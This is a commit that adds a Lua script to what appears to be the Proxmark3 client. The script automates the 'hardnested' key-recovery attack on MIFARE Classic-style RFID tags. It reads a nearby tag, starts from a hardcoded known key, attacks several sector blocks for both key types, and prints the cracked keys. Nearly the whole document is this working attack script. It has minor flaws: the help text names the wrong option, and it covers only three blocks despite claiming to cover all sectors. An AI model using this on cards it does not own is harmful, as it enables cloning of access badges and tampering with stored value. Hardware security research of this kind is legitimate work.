ADD: added the 'hf mf hardnested' to be called within LUA scripts.

ADD: 'script run hard' - a first try for a lua script to run the hardnested attack on a complete tag.

client/scripts/hard.lua

@@ -0,0 +1,109 @@
+local cmds = require('commands')
+local getopt = require('getopt')
+local utils = require('utils')
+local lib14a = require('read14a')
+
+example = "script iterates over all possible sectors for a tag and runs hardnested attack against them to collect the keys."
+author = "Iceman"
+desc =
+[[
+This script iterates over all possible sectors for a tag and runs hardnested attack against them to collect the keys.
+
+Arguments:
+	-k 				Known key, 6 bytes (12 hex digits)
+Examples : 
+	script hard -b 112233445566
+]]
+
+local numBlocks = 64
+local numSectors = 16
+local DEBUG = TRUE
+--- 
+-- A debug printout-function
+function dbg(args)
+	if not DEBUG then return end
+	
+    if type(args) == "table" then
+		local i = 1
+		while result[i] do
+			dbg(result[i])
+			i = i+1
+		end
+	else
+		print("###", args)
+	end	
+end	
+--- 
+-- This is only meant to be used when errors occur
+function oops(err)
+	print("ERROR: ",err)
+	return nil,err
+end
+--- 
+-- Usage help
+function help()
+	print(desc)
+	print("Example usage")
+	print(example)
+end
+--
+-- Exit message
+function ExitMsg(msg)
+	print( string.rep('--',20) )
+	print( string.rep('--',20) )
+	print(msg)
+	print()
+end
+---
+-- a simple selftest function,
+local function selftest()
+	return nil
+end
+
+--- 
+-- The main entry point
+function main(args)
+
+	local blockno = '00'
+	local keytype = 0 --A  01==B
+	local key = 'fc00018778f7'
+	local trgkey = ''
+	
+	local data
+	-- Read the parameters
+	for o, a in getopt.getopt(args, 'hk:t') do
+		if o == "h" then return help() end
+		if o == "k" then key = a end
+		if o == "t" then return selftest() end
+	end
+
+	-- Turn off Debug
+	local cmdSetDbgOff = "hf mf dbg 0"
+	core.console( cmdSetDbgOff) 
+	-- identify tag
+	result, err = lib14a.read1443a(false)
+	if not result then
+		return oops(err)
+	end
+	core.clearCommandBuffer()
+	
+	-- Show tag info
+	print((' Found tag %s'):format(result.name))
+	
+	local keys = {}
+	-- loop
+	for i=4, 12	, 4 do
+		for trgkeytype=0,1 do
+			local trgblockno = ("%02d"):format(i)
+			local err, found_key = core.hardnested(blockno, keytype, key, trgblockno, trgkeytype, trgkey, 0,0,0,0)			
+			
+			table.insert( keys ,  { ["success"] = err, ["sector"] = i, ["type"] = trgkeytype, ["key"] =  utils.ConvertAsciiToHex(found_key) } )
+		end
+	end
+	--print
+	for k,v in pairs(keys) do 
+		for a,b in pairs(v) do print(a,b) end
+	end
+end
+
+main(args)